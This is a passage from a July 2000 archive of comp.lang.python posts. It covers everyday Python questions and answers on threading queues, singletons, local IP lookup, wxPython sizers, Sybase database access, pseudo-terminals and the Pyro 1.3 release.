You need to build _tkinter.  Did you compile python from the source?

Alex.


From hei at adtranzsig.de  Tue Jul 11 08:07:19 2000
From: hei at adtranzsig.de (Dirk-Ulrich Heise)
Date: Tue, 11 Jul 2000 14:07:19 +0200
Subject: off-topic, "Compiler" technology
References: <396ABBD7.8715465D@t-online.de>
Message-ID: <8kf2jf$sqc$1@desig-bs01-s04.adtranzsig.de>

So why doesn't it work for all the
other languages as well? :-)

--
Dipl.Inform. Dirk-Ulrich Heise
hei at adtranzsig.de
dheise at debitel.net


"Andreas Otto" <aotto at t-online.de> schrieb im Newsbeitrag
news:396ABBD7.8715465D at t-online.de...
>   The underlying technology "Token-Stream" works for all
>   scripting languages like *perl* or *python* too.





From peter at schneider-kamp.de  Fri Jul 14 17:36:04 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Fri, 14 Jul 2000 21:36:04 +0000
Subject: string issue or questions about intern
References: <396EEAFF.3AD7B951@bioreason.com>
Message-ID: <396F87C4.6B3C9FAE@schneider-kamp.de>

Brian Kelley wrote:
> 
> So, does eval('"AAAAA"') intern "AAAAA" or simply not clean up the
> memory since it is not assigned to a variable?

Mhh. I compiled the current CVS (==soon to be 2.0) version without
cyclic garbage collection.

while 1:
  eval('"AAAAA"')

I monitored with top for quite a while, but there was no increase
in memory consumption. *Maybe* this got fixed?!

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From bjorn at roguewave.com  Fri Jul  7 14:13:53 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Fri, 07 Jul 2000 12:13:53 -0600
Subject: Splitting c.l.py...
References: <Pine.LNX.4.21.0007052214190.4947-100000@krispc6.physik.uni-karlsruhe.de> <3dituj9cdi.fsf@kronos.cnri.reston.va.us>
Message-ID: <39661DE1.A409330C@roguewave.com>

So is this a good time to re-open the discussion on splitting the
newsgroup/mailing list?

-- bjorn

Andrew Kuchling wrote:
> 
> Johannes Zellner <johannes at zellner.org> writes:
> >  *) I modified Modules/readline.c so that it allows reading and
> >     writing of a history file. I also plan to implement readline
> 
> Skip Montanaro (skip at mojam.com) is adding this right now; you should
> talk to him to avoid duplicating effort.
> 
> >  *) Is there a forum for developers? This list seems more for
> >     users isn't it ?
> 
> It is now, because most of the core developers lack the time to keep
> up with python-list.  Still, starting more core discussions may lure
> some of them back.
> 
> --amk
> --
> http://www.python.org/mailman/listinfo/python-list



From jepler.lnk at lnk.ispi.net  Sun Jul  9 17:03:37 2000
From: jepler.lnk at lnk.ispi.net (jepler epler)
Date: Sun, 09 Jul 2000 21:03:37 GMT
Subject: How to approach this?
References: <8kal5v$8n5$1@supernews.com>
Message-ID: <slrn8mhp6b.fu4.jepler.lnk@potty.housenet>

You may be aware of the idiom:

class C: pass

_instance = None
def SingletonMaker():
	global _instance
	if _instance is None:
		_instance = C()
	return _instance

thus, instead of instantiating C directly, you call SingletonMaker.

However, this doesn't do the other thing you want, which is to collect
_instance when it has no more users.

Something like the following ought to work:

class UsesSingleton:
	def __init__(self):
		self.instance = SingletonMaker()

	def __del__(self):
		if sys.getrefcount(self.instance) == 3:
			# _instance, self.instance, and the arg to
			# sys.getrefcount
			_instance = None
			# When the function ends, the refcount will
			# drop to 0, so self.instance will be collected
			# and the next call to SingletonMaker will
			# make a new one
		# else, there are other references to the instance...

Of course, if someone else stores a reference to the singleton object,
this won't work..

Jeff


From cut_me_out at hotmail.com.bbs  Mon Jul 17 09:20:02 2000
From: cut_me_out at hotmail.com.bbs (cut_me_out at hotmail.com.bbs)
Date: 17 Jul 2000 13:20:02 GMT
Subject: built in sources
Message-ID: <3bRDG3$guA@openbazaar.net>

http://www.python.org/download/download_source.html

> where can I get the source for all of the built-in methods, types,
> etc...
>
> Thanks


From wware at world.std.com  Thu Jul 13 16:04:26 2000
From: wware at world.std.com (Will Ware)
Date: Thu, 13 Jul 2000 20:04:26 GMT
Subject: Python Palm Port
References: <396DBB86.98F20F75@earthlink.net>
Message-ID: <FxnJrE.28H@world.std.com>

William OConnor (wtoconnor at earthlink.net) wrote:
> I was interested in possibly doing a Python port to the Palm OS.  
> Is anyone already doing it? 

A few days back, Jeff Collins (collins at rush.aero.org) wrote:
> Announcing the alpha port of Python-1.5.2+ to the Palm Pilot,
> available for download after 8AM PDT July7, 2000 at
> http://www.isr.uci.edu/projects/sensos/python/. This release
> includes the modified Python source and tools for creating Palm
> applications from Python modules. As a convenience, we include the
> gnu toolchain required to support the Python distribution on the
> Palm Pilot. We emphasize that this is an alpha release and is
> deficient in many respects. We are releasing it now to stimulate
> interest in Python on small computing platforms.

What is currently available is an implementation of the Python
virtual machine running on the Palm. For the time being, you need
to compile your Python code on a desktop and download it as a
bytecode .prc file. An interactive user interface is forthcoming.
-- 
 - - - - - - - - - - - - - - - - - - - - - - - -
Resistance is futile. Capacitance is efficacious.
Will Ware	email:    wware @ world.std.com


From cg at schlund.de  Thu Jul 20 03:28:48 2000
From: cg at schlund.de (Carsten Gaebler)
Date: Thu, 20 Jul 2000 09:28:48 +0200
Subject: Determine path of current module?
Message-ID: <3976AA30.1C4F62B8@schlund.de>

Hi!

How can I determine the path of the current module at runtime? (sys.argv[0]
won't work when running it through pythondoc)

Regards
Carsten.


From guido at python.org  Thu Jul 27 11:36:04 2000
From: guido at python.org (Guido van Rossum)
Date: Thu, 27 Jul 2000 15:36:04 GMT
Subject: The State of Python
References: <200007270038.TAA03951@cj20424-a.reston1.va.home.com> <8loujd$5j7$1@nnrp1.deja.com>
Message-ID: <cpog3jjztl.fsf@cj20424-a.reston1.va.home.com>

richard_chamberlain at my-deja.com writes:

> If someone had made a contribution to the standard library and had
> written a certain licensing agreement as a comment in the file would
> that module still be covered by the BeOPEN or CNRI agreement? - or
> would it's own license still stand?

I'm not a lawyer, and CNRI has on several occasions claimed that in
the view of their lawyers the old Python license is not a license.  So
they may not feel they need to respect other people's licenses (many
of those licenses are almost identical to the old Python license).

But maybe they feel like respecting other people's copyrights, since
they sure appear to believe in their own copyright!  So I expect that
contributions that state a copyright may stand a chance.

For more clarification, I suggest that you write directly to CNRI;
contact info is on their website http://www.cnri.reston.va.us/.
Especially if you own the copyright on some portion of Python and feel
that your rights are in danger of being violated!

--Guido van Rossum (home page: http://www.pythonlabs.com/~guido/)


From bjorn at roguewave.com  Sat Jul 22 18:26:37 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Sat, 22 Jul 2000 16:26:37 -0600
Subject: hidden input?
References: <ll5kns07hmdesddv6ai177e7j6ij76of18@4ax.com>
Message-ID: <397A1F9D.32AF7F95@roguewave.com>

Ben Wolfson wrote:
> 
> Is there a way to get input not echoed to the screen in Python, as in the
> non-standard functions kbhit() and getch() in C and C++?

import msvcrt

while not msvcrt.kbhit():
   #do something
c = msvcrt.getch()

assuming you're on windows, of course...

-- bjorn



From cozald at hotmail.com  Wed Jul 26 14:07:29 2000
From: cozald at hotmail.com (OC)
Date: Wed, 26 Jul 2000 11:07:29 -0700
Subject: HELP!! system calls?
Message-ID: <8lnb6n$im9$1@nntp.itservices.ubc.ca>

Hello People,

I have a question about sys calls.  I am trying to call a tcl script with
the following command:

os.system('tclsh80 file.tcl')  and it gives me a permission denied error...

I checked my files permission (I am using winNT) and they are fine.

Anyone know why, or is there a better way to do it?

I will greatly appreciate your help.
Thanks in advance,
Os




From cbbrowne at news.hex.net.bbs  Mon Jul 17 21:30:03 2000
From: cbbrowne at news.hex.net.bbs (cbbrowne at news.hex.net.bbs)
Date: 18 Jul 2000 01:30:03 GMT
Subject: Matlab vs Python (was RE: Discussion: Introducing new operators f
Message-ID: <3bRWGS$lzb@openbazaar.net>

Centuries ago, Nostradamus foresaw a time when Paul Prescod would say:
>Huaiyu Zhu wrote:
>> ...
>> As to the claim that additional operators for linear algebra is
>> somehow comparable to the special syntaxes/quirks of various
>> programming languages, no real argument has been presented so far.
>
>Okay, then, let me try.
>
>> It's more like: If I don't care
>> and don't use such things, they must belong to a special domain and be
>> somehow comparable to some other things that I do know and dislike.
>
>Let me rephrase: "If MOST Python programmers don't care and don't use
>such things, they must belong to a special domain." I think that's a
>good operative definition of "domain specific". That's the crux of the
>argument. Don't throw complex numbers back in my face because they
>required *minimal new syntax*. There is already more "extra" syntax in
>the language for matrices than for complex numbers.
>
>I don't know why you have the impression that matrix operators have
>been compared to anything that people dislike. Most people have compared
>them to things that they *do* like, but must do through function syntax
>because Python doesn't pander to my particular needs or your particular
>needs, but rather those of most average programmers. I like XML
>processing and I daresay there are more books sold on it than on
>Matlab. But I've never asked for special, XML-specific syntax.
>
>Maybe you should consider how to scale back your syntactic request.
>Perhaps a single keyword or symbol at the beginning of an expression
>could make it element-wise or matrix-wise.

Another approach would be to create some form of "macro rewriting"
system that would allow you to feed in expressions in some
_descriptive_ form that would then rewrite this into (possibly
optimized) Python that would execute this.

By far the best comparison I can think of is the Common Lisp "Series"
implementation, findable at <http://series.sourceforge.net/>.

CL Series provides a "language" in which you can represent sequential
descriptions; it is described thus:

 "A series is a data structure much like a sequence, with similar
  kinds of operations. The difference is that in many situations,
  operations on series may be composed functionally and yet execute
  iteratively, without the need to construct intermediate series
  values explicitly. In this manner, series provide both the clarity
  of a functional programming style and the efficiency of an iterative
  programming style."

CL uses macro expansion to expand these into CL expressions, and this
expansion includes significant optimizations based on pipelining the
generation of series elements.  You might compose several series
together, and the final result will be computed in an optimized
(perhaps optimal) manner.

The result is that you write your original code using a _descriptive_
series representation, and the system rewrites that into code that
_performs_ the series operations.

I would think the extension to what would be done in Python to be
"obvious;" the "Matrix Math" package would accept input in a modified
Python syntax that supports its matrix operators, and then rewrites
this to generate Python code that either:
  a) Expresses it iteratively, in Python form, or
  b) Expresses it using some compiled extensions that can make it Real
     Fast.
--
cbbrowne at hex.net - <http://www.hex.net/~cbbrowne/>
Necessity  is the  mother  of  invention. Insanity  is  the mother  of
straitjackets.


From jesse at multimediacollective.com  Tue Jul 25 15:48:57 2000
From: jesse at multimediacollective.com (jesse at multimediacollective.com)
Date: Tue, 25 Jul 2000 19:48:57 -0000
Subject: Logging module
Message-ID: <8lkqv9+s6cs@eGroups.com>

Can somone please tell me where I can find the resources for a python 
module that handles logging?




From gjohnson at gs.verio.net.bbs  Mon Jul 17 15:20:04 2000
From: gjohnson at gs.verio.net.bbs (gjohnson at gs.verio.net.bbs)
Date: 17 Jul 2000 19:20:04 GMT
Subject: Getting local IP address...
Message-ID: <3bRMY4$ivo@openbazaar.net>

Yes I understand that os.system is to be used with extreme caution.  The
ifconfig eth0 command does nothing but query information already stored and
saved.  If someone hacked your unix box, they could just do an ifconfig
eth0 instead of using your python sctipt.  There is also no need for keys
or passwords considering nslookup/dig does this already...

I don't see any probs...

On Monday, July 17, 2000 1:12 PM, Aaron Rhodes [SMTP:arhodes at psionic.com]
wrote:
>
> Howdy...
>
> That works too.  There are some purists
> who may take offense to reliance on external system binaries
> (ifconfig and grep)...not a big deal in my opinion.
> ifconfig on Linux probably does something similar
> to the fcntl/ioctl stuff I was mentioning...perhaps there
> should be a platform independent python-ifconfig library?
>
> The API to such a library could be constructed to provide
> a standard way to do "ifconfig-ish" stuff on
> Windows/NT/Unices. (i.e. up and down network interfaces,
> get the ip address off the net interface, set the ip on the
> net interface, change firewall rules perhaps, etc.)
>
> Aaron
> arhodes at psionic.com
>
>
> Tony Johnson wrote:
> >
> > Why not just do an addr = os.system(ifconfig eth0 | grep inet)
> > This should return the ip addy of the nic...
> >
> > Since the way OS's store IP addys is so implementaion dependant, I
don't
> > see how it could be portable unless people start making a posix way of
> > storing an ip addy on top of the os dependant way
> >
> > On Monday, July 17, 2000 11:33 AM, Aaron Rhodes
[SMTP:arhodes at psionic.com]
> > wrote:
> > > Here's a tremendously non-portable way to do it for
> > > Linux by reading it straight off the ethernet card...
> > >
> > > import string,socket,fcntl
> > > SIOCGIFADDR = 0x8915
> > > ifname = 'eth0'
> > > s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
> > > ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
> > > r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
> > > addr = string.join(map(str,map(ord,r[20:24])),'.')
> > > print addr
> > >
> > >


From rbill at digisprings.com  Wed Jul 26 12:28:27 2000
From: rbill at digisprings.com (Robert W. Bill)
Date: Wed, 26 Jul 2000 10:28:27 -0600
Subject: sample code of using Queue.
In-Reply-To: <397E3A54.A77925D8@eSec.com.au>
References: <397E3A54.A77925D8@eSec.com.au>
Message-ID: <Pine.LNX.4.10.10007260931560.29874-100000@localhost.localdomain>

Hi Sam,

If you hypothetically wanted to have one class log events from threads,
you could subclass threading.Thread and start with something that looks
like this:

from threading import *
from Queue import Queue

class clientThread(Thread):
    def __init__(self, q, myNumber):
	self.q = q
	self.myNumber = myNumber
	Thread.__init__(self)
			
    def run(self):
	# do something wacky #
	logline = "This is a log from thread #" + str(self.myNumber)
	self.q.put(logline) # this blocks--see Python Library Ref
			    # you may want to wrap in try/except
			    # with put_nowait

class logger(Thread):
    def __init__(self, q):
	self.q = q
	Thread.__init__(self)
	
    def run(self):
	print "logger started"
	# replace next line (range) with an event or something more 
	# useful
	for i in range(10):
	    logEntry = q.get() # this blocks--see Python Library Ref
			       # you may want get_nowait() in try/except
	    print logEntry

if __name__=='__main__':
    q = Queue(10)
    logger(q).start()
    for i in range(10):
	clientThread(q,i).start()


I realize this my not help too much with controlling the threads
lifespan.  Ask again when you get to the spot where you need some events,
joins or something to fine tune things.

-Robert


On Wed, 26 Jul 2000, Sam Wun wrote:

> I want to have multiple threads write to the Queue object.
> 
> Dose anyone has example for doing that? or could anyone point me to an url?
> 
> Thanks
> 
> Sam.
> 
> 
> 




From paulb at infercor.no  Fri Jul 14 12:42:52 2000
From: paulb at infercor.no (Paul Boddie)
Date: Fri, 14 Jul 2000 18:42:52 +0200
Subject: DB-API and Sybase
References: <i_sb5.1038$6E.125882@ptah.visi.com>
Message-ID: <396F430C.3D7BD5CB@infercor.no>

Eric Hopper wrote:
> 
> Posted this in the wrong place previously.  Oops.  *embarassed look*
> 
> Does anybody know where I can find a DB-API connection to Sybase?  I've
> been looking, but it's not at at all clear where a recent version actually
> is.

The 'ctsybasemodule' apparently resides at the following URL:

  http://starship.python.net/crew/pgodman/

Whilst 'ctsybasemodule' is rather nice, I found it insufficient for my purposes
(no "bind variables" in SQL statements) and decided on mxODBC instead:

  http://starship.python.net/crew/lemburg/mxODBC.html

If you decide to pursue that option, I would suggest looking at my ODBC
resources page:

  http://www.crosswinds.net/~pboddie/Python/mxODBC.html

I managed to get mxODBC working with Adaptive Server Anywhere and Adaptive
Server Enterprise, but with the recent announcement of zxJDBC you could use
JPython and Sybase's jConnect software instead:

  http://www.ziclix.com/zxjdbc/
  http://www.jpython.org
  http://www.sybase.com/products/internet/jconnect/

Regards,

Paul


From alex at magenta.com  Fri Jul 28 17:38:35 2000
From: alex at magenta.com (Alex Martelli)
Date: Fri, 28 Jul 2000 23:38:35 +0200
Subject: Perl is worse!
References: <slrn8o25nr.e7.grey@teleute.rpglink.com> <8lsdir$aja$1@plutonium.compulink.co.uk>
Message-ID: <8lsulr02ib1@news2.newsguy.com>

<gbreed at cix.compulink.co.uk> wrote in message
news:8lsdir$aja$1 at plutonium.compulink.co.uk...
    [snip]
> x = "11"
> y = 22
> z = x+y
>
> is ambiguous.  Different languages define it different ways.  That's fine,
> as far as the machine's concerned.  But a poor human being could misread
> it.  In fact, before this thread came up, I assumed Python coerced the int
> to a string, like Java and Visual Basic do.  You assumed it should do the

No; in Visual Basic this leaves 33 in z.  VB's + concatenates string if
both operands are strings, so if y = "22" then z ends up with "1122",
but if either is integer it's the string that gets coerced (with a runtime
error -- rough equivalent of an exception, and trappable -- if it's
imperfect, e.g. x = "11a" above).  & is VB's always-string-concat
operator (and coerces-to-string both operands).


Alex





From robin at alldunn.com  Mon Jul 17 22:19:52 2000
From: robin at alldunn.com (Robin Dunn)
Date: Mon, 17 Jul 2000 19:19:52 -0700
Subject: wxNotebook in a wxWindow doesn't stretch
References: <slrn8mv8ef.1sd.jack@tornado.sh.cvut.cz> <6ARb5.109203$HK2.1927918@news20.bellglobal.com>
Message-ID: <R8Pc5.3668$ttZ2.70451526@news.randori.com>

> I've only recently started to learn wxPython, but I think I might have hit
a
> similar problem:
>
> I had trouble getting constraints to make a number of controls sit side by
> side, having widths that were proportional to the width of the entire
frame.
>

Sizers work nicely for this, but it's doable with constraints too.

> Now, the only way to get it going was to embed the controls in ANOTHER
> container, which is placed on the wxFrame that is your main application.
> So, instead of creating a wxApp that contained a wxFrame that contained
the
> controls, I had to create a wxApp, that contained a wxFrame, that
contained
> a wxPanel (or maybe another wxFrame), which contained the controls.
>

Actually, it's recommended to place controls on a wxPanel since that is what
handles the tab-key traversal between controls.

>
> I've seen the author of wxPython (Robin Dunn?) post in this newsgroup, so
> maybe he'd be able to shed some light on this. (???)
>

I answered the original posters question in the wxPython-users list.  It was
because he put the items controled by the sizer on a wxWindow, which doesn't
automatically handle the auto-layout flag.  Substituting wxPanel there took
care of the problem.


--
Robin Dunn
Software Craftsman
robin at AllDunn.com
http://wxpython.org     Java give you jitters?
http://wxpros.com        Relax with wxPython!





From MarkH at ActiveState.com  Mon Jul  3 19:30:34 2000
From: MarkH at ActiveState.com (Mark Hammond)
Date: Mon, 03 Jul 2000 23:30:34 GMT
Subject: Traping output from os.system
References: <8jn34q$kpn$1@news.lth.se> <hCI75.5717$Tb7.31730@news-server.bigpond.net.au> <u7lb3yphc.fsf@ctwd0143.fitlinxx.com>
Message-ID: <um985.6715$Tb7.40775@news-server.bigpond.net.au>

> Any chance that a future update to the extensions will be able to
> return the result code of the child process on a close(), as
> os.popen() does?

Unlikely that Bill or I will look into this.  The problem is that the file
object doesnt know anything about the popen child process.

Personally, I would prefer to _remove_ win32pipe.popen's implementation,
and re-write it in pure-python using the raw win32pipe functions - just to
prove we can :-) And also so it would be easier to hack to do this sort of
stuff, or cloned for "custom" requirements, etc.

Mark.





From aahz at netcom.com  Mon Jul 24 10:29:57 2000
From: aahz at netcom.com (Aahz Maruch)
Date: 24 Jul 2000 14:29:57 GMT
Subject: Variables in strings..
References: <81324605608.20000724121203@buz.ch>
Message-ID: <8lhjt5$d2i$1@slb7.atl.mindspring.net>

In article <81324605608.20000724121203 at buz.ch>,
Gabriel Ambuehl  <gabriel_ambuehl at buz.ch> wrote:
>
>print "Hello %(name)s" % var()

I much prefer writing code to build a dict and then using that.  Here's
an example:

dict = { 'foo': 'xyz', 'bar': 'pdq' }
print "Hello %(foo)s, %(bar)s" % dict

Doesn't help much with your array slices, directly, but you could easily
create a class with a __str__() method.
--
                      --- Aahz (Copyright 2000 by aahz at netcom.com)

Androgynous poly kinky vanilla queer het    <*>     http://www.rahul.net/aahz/
Hugs and backrubs -- I break Rule 6

Zie is so far from a clue that it would take a sub-light vessel several
years to reach one.  --Aahz


From ge at nowhere.none  Fri Jul 14 10:24:28 2000
From: ge at nowhere.none (Grant Edwards)
Date: Fri, 14 Jul 2000 14:24:28 GMT
Subject: raw socket exapmle?
Message-ID: <woFb5.1075$6E.147665@ptah.visi.com>

Does anybody know where I can find an example of how to
send/receive raw Ethernet frames?   The C examples I've found
use either AF_INET/SOCK_PACKET or PF_PACKET/SOCK_RAW.

The socket module doesn't support SOCK_PACKET or PF_PACKET, so
I'm trying to use AF_INET/SOCK_RAW.  I can't figure out the
format of the address string to pass to bind() to select the
ethernet interface to use.

Any pointers?

-- 
Grant Edwards                   grante             Yow!  Go on, EMOTE! I
                                  at               was RAISED on thought
                               visi.com            balloons!!


From medved55 at my-deja.com  Thu Jul 27 22:21:15 2000
From: medved55 at my-deja.com (Alex)
Date: Fri, 28 Jul 2000 02:21:15 GMT
Subject: Beginning
References: <8loacq$n81$1@nnrp1.deja.com> <397FB2B5.8FE38267@sitegnome.com>
Message-ID: <8lqqmp$jdd$1@nnrp1.deja.com>

Thanks, Fiona!

I find a lot of interesting stuff on that side.
What OS do you use for programming on Python.
Is anybody doing this in Windows9x, and does it work.
Alex




In article <397FB2B5.8FE38267 at sitegnome.com>,
  fiona at sitegnome.com wrote:
> Hi Alex,
>
> A little commercial for the work I've been doing :-)
>
> Check out http://python.faqts.com
>
> There are a lot of links to resources and an extensive collection of
> FAQ's.
>
> cheers, Fiona
>
> Alex wrote:
> >
> >  hi everybody!
> > I just begin to study programming and one friend of mine advised to
me
> > to start with the Python language. I find it interesting.
> > If anybody know good Internet links to Python sources, please send
it
> > here. Also any good advice for beginner will be appreciated.
> > If you a beginner and would like to exchange ideas and experience
about
> > programming on Python e-mail me medved55 at greenbay.usa.com.  Profy
> > welcome too.
> > Thank you.
> > Alex
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.
>
> --
>
> Site Gnome - site maintenance, documentation and proof reading
>
> http://www.sitegnome.com
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From donn at oz.net  Sat Jul  1 02:06:22 2000
From: donn at oz.net (Donn Cave)
Date: 1 Jul 2000 06:06:22 GMT
Subject: Controlling an external program with Python
References: <slrn8lqih7.gr6.thomas@centurion.xs4all.nl> <slrn8lj6pa.l52.thomas@centurion.xs4all.nl> <3958C648.1D76@rd.francetelecom.fr> <nz855.1583$iN5.265679@ptah.visi.com> <slrn8l87is.dpi.keating@mars.rcode.com.au> <kuzoobue0g.fsf@lasipalatsi.fi> <8j7vc3$6b6q$1@nntp6.u.washington.edu> <39588741.FB7EB5FE@hursley.ibm.com> <3958A7AE.7DAA@rd.francetelecom.fr> <3958C134.7AAEF37B@hursley.ibm.com> <8jc28s$8eb$0@216.39.151.169> <8jdf8j$8tm4$1@nntp6.u.washington.edu>
Message-ID: <8jk1ou$jq9$0@216.39.151.169>

Quoth thomas at xs4all.nl (Thomas Wouters):
| On 28 Jun 2000 18:13:39 GMT, Donn Cave <donn at u.washington.edu> wrote:
|> The MIT Kerberos 5 pty library I mentioned uses a getpty function that
|> opens the master pseudoty and returns its file descriptor and the name
|> of its slave terminal device.  Where it uses openpty() underneath, it
|> doesn't supply any termios settings and closes the slave file descriptor
|> immediately.  It doesn't use forkpty() for anything.  My reflex reaction
|> is that's the right level of support for a C module:  export all possible
|> semi-standard low level interfaces, and put convenience routines in a
|> Python module.
|
| I disagree, and I think some of the Python developers do, too, looking at
| the way posixmodule is laid out (and the fact that the SGI module is
| candidate for removal in the next Python release.)

No way did I mean to call for more things like the sgi module.  The kind
of semi-standard operations I have in mind are like termios, for example -
we already have a termios module, so avoid the termios option in openpty -
and then some abstraction of the characteristic operations performed on
pseudotty devices.  Here's how MIT sorts this out:

    long pty_init(void);
    long pty_getpty ( int *fd, char *slave, int slavelength);
    long pty_open_slave (const char *slave, int *fd);
    long pty_open_ctty (const char *slave, int *fd);
    long pty_initialize_slave ( int fd);
    long pty_update_utmp (int process_type,int pid,  char *user,
                          char *line, char *host, int flags);
    long pty_logwtmp (char *tty, char * user, char *host);
    long pty_cleanup(char *slave, int pid, int update_utmp);

Cleanup, for example, performs various platform-specific functions
like revoke() that have to do with shutting down and hanging up the tty.

But whatever functions are provided should certainly be the same for all
platforms inasmuch as possible, not like the way pty.py does it today.

The big head-scratcher for me is MS Windows.  Apparently it would be
possible to support some similar functionality, but obviously from
a completely different implementation.  It would be terrific if the
API were a comfortable fit for Windows too, but that might have to
occur at a much higher level of abstraction, so to speak.

| My reason for taking openpty, which returns an opened master/slave fd pair,
| over something a little more sgi-like (open master, return master_fd + name
| of slave tty) is very simple, and very selfish: I work mostly with BSDI
| servers, FreeBSD and Linux workstations. All support openpty. And the fact
| that Linux has it makes me believe it's the most used method of getting a
| pty.

You could be right about openpty's coverage.  It's in the man pages on
Digital UNIX too.  I don't know exactly why MIT chose to close the
slave tty from openpty(), instead of opening it after ptsname() etc.
to support an openpty-like function.  There might be no particular
reason, but I defer to their accumulated expertise, since they manage
to support telnet and rlogin on a reasonable range of platforms with
this stuff.

	Donn Cave, donn at oz.net


From irmen at -nospam-bigfoot.com  Sun Jul 30 16:06:14 2000
From: irmen at -nospam-bigfoot.com (Irmen de Jong)
Date: Sun, 30 Jul 2000 22:06:14 +0200
Subject: [ANNOUNCE] Pyro 1.3 - distributed objects
Message-ID: <8m21po$i3i$1@news1.xs4all.nl>

PYRO - Python Remote Objects - version 1.3
by Irmen de Jong


WHAT IS PYRO?

Pyro is an acronym for PYthon Remote Objects. It is a basic Distributed
Object Technology system written entirely in Python, and for use in Python
only. With this, it closely resembles Java's Remote Method Invocation (RMI).
It has less similarity to CORBA - which is a system- and language
independent Distributed Object Technology and has much more to offer than
Pyro or RMI.

The most important changes since the previous version (1.2) are:

- GUID format changed to binary representation (needs less memory and
  network bandwith). Windows32 GUID has been removed (who used it anyway)
- URI no longer contains DNS hostnames, but IP addresses. This works
  better in a DNS-less network.
- It is now possible to specify a hostname on which the servers should
  bind. This is convenient if your machine has multiple network adapters
  (and multiple hostnames).
- Some small bug fixes and documentation updates.


Some interesting features of Pyro are:

- Naming Service which keeps record of the location of objects. The location
  of the NS can be discovered using a broadcast mechanism, amongst others.

- Support for Python types only restricted by those that the standard
  'pickle' module handles (all builtin types, and user created classes).
  Objects as arguments are also supported when the code for those user
  defined classes is also available on the server side.

- Support for all Python argument types (variable argument lists and keyword
  arguments, *args and **keywords).

- Exceptions that occur in the remote object will actually be raised too on
  the client, just as if the error occured locally. Pyro's exception
  transportation mechanism makes this possible.

- Dynamic Proxies.

- Full source code in Python.



WHERE CAN I GET IT ?

>From my Pyro homepage: http://www.bigfoot.com/~irmen/pyro.html

It comes with a Python-style license, but is otherwise free for
commercial and non-commercial use.


REFERENCE:

<P><A HREF="http://www.bigfoot.com/~irmen/pyro.html">
Pyro 1.3</A> - Distributed Object system for Python (31-Jul-2000)

--
Irmen de Jong -- irmen @
                bigfoot.com



From darrell at dorb.com  Wed Jul  5 02:56:21 2000
From: darrell at dorb.com (Darrell Gallion)
Date: Sat, 4 Jul 2000 23:56:21 -0700
Subject: Undocumented regex behaviour in re module
References: <m3itulmfi1.fsf@vole.object-craft.com.au>
Message-ID: <012f01d65299$646f54a0$6401a8c0@home>

I think you need to match all the attributes then split them
>>> re.findall("<\?(\w+)([^>]+?)\?>", s)
[('browse', ' start=0 num=25')]


>>> res=re.findall("<\?(\w+)([^>]+?)\?>", s)
>>> string.split(res[0][1])
['start=0', 'num=25']

Although re.split or another findall would work better than string.split to
avoid problems with white space in the tag.

--Darrell
----- Original Message -----
From: "Dave Cole" <djc at object-craft.com.au>
>
> The idea here is that I want to be able to extract the special tag
> names and their attributes.  Everything work fine, except for tag:
>
>         <?browse start=0 num=25?>
>
> The match object only saves the last attr=value matched.  The only way
> that I think of to get all of the attr=value returned is to change the
> regex to:
>
>         <\?(\w+)((?:\s+\w+=\w+)*)\?>
>
> Unfortunately, that is not as useful as I would like since it returns
> a string which needs further processing: ' start=0 num=25'
>
> Any hint / explanation at this point would be gratefully accepted.
>






From olivierS.dagenaisP at canadaA.comM.bbs  Sat Jul 15 00:10:13 2000
From: olivierS.dagenaisP at canadaA.comM.bbs (olivierS.dagenaisP at canadaA.comM.bbs)
Date: 15 Jul 2000 04:10:13 GMT
Subject: wxNotebook in a wxWindow doesn't stretch
Message-ID: <3bPK0b$kuC@openbazaar.net>

I've only recently started to learn wxPython, but I think I might have hit a
similar problem:

I had trouble getting constraints to make a number of controls sit side by
side, having widths that were proportional to the width of the entire frame.

Now, the only way to get it going was to embed the controls in ANOTHER
container, which is placed on the wxFrame that is your main application.
So, instead of creating a wxApp that contained a wxFrame that contained the
controls, I had to create a wxApp, that contained a wxFrame, that contained
a wxPanel (or maybe another wxFrame), which contained the controls.

Maybe it's a wxPython issue and you don't need to create as many levels in
pure wxWindows, or perhaps it's a wxWindows bug in itself (or bug in the MS
Windows implementation of wxWindows), but that's my experience with getting
a control (I guess I really sbould be calling them 'widgets') to resize
nicely with the main window.

I've seen the author of wxPython (Robin Dunn?) post in this newsgroup, so
maybe he'd be able to shed some light on this. (???)

--
----------------------------------------------------------------------
Olivier A. Dagenais - Carleton University - Computer Science III


"Jan Fedak" <jack at tornado.sh.cvut.cz> wrote in message
news:slrn8mv8ef.1sd.jack at tornado.sh.cvut.cz...
>
> hi.
>
>
> I am lost. After few hours of trying to solve it, I give up...
>
> I have following piece of code (modified, shortened...):
>
> class MainWindow(wxFrame):
>
>     def __init__(self, parent, id, title):
>         wxFrame.__init__(self, parent, id, title, size = (800, 600),
>                          style=wxDEFAULT_FRAME_STYLE|
> wxNO_FULL_REPAINT_ON_RESIZE)
>
>         self.CreateStatusBar(1, wxST_SIZEGRIP)
>
> # is ksSPLIT is set, we split main window horizontally into two
> # subwindows
> if ksSPLIT:
>     self.splitter = wxSplitterWindow(self, -1, style=wxNO_3D|wxSP_3D)
>     self.leftWin = self.splitter
>     self.desktopFrame = wxWindow(self.splitter, -1)
>     self.desktopFrame.SetBackgroundColour(wxNamedColour("Pink"))
> else:
>     self.splitter = None
>     self.leftWin = None
>     self.desktopFrame = self
>
> # the following code won't reside in constructor later!
> # I need the desktopWin placed IN desktopFrame so that it occupies the
> # whole area of it
> # desktopWin may look differently depending on the application,
> # when no desktopWin is set up, desktopFrame should be visible
>
> self.desktopWin = wxNotebook(self.desktopFrame, -1)
> txt = wxTextCtrl(self.desktopWin, -1,
> style = wxTE_MULTILINE|wxTE_READONLY|wxHSCROLL)
> self.desktopWin.AddPage(txt, "Overview")
>
> sizer = wxBoxSizer(wxHORIZONTAL)
> sizer.Add(self.desktopWin, 1, wxEXPAND | wxALIGN_CENTER, 5)
> self.desktopFrame.SetAutoLayout(true);
> self.desktopFrame.SetSizer(sizer);
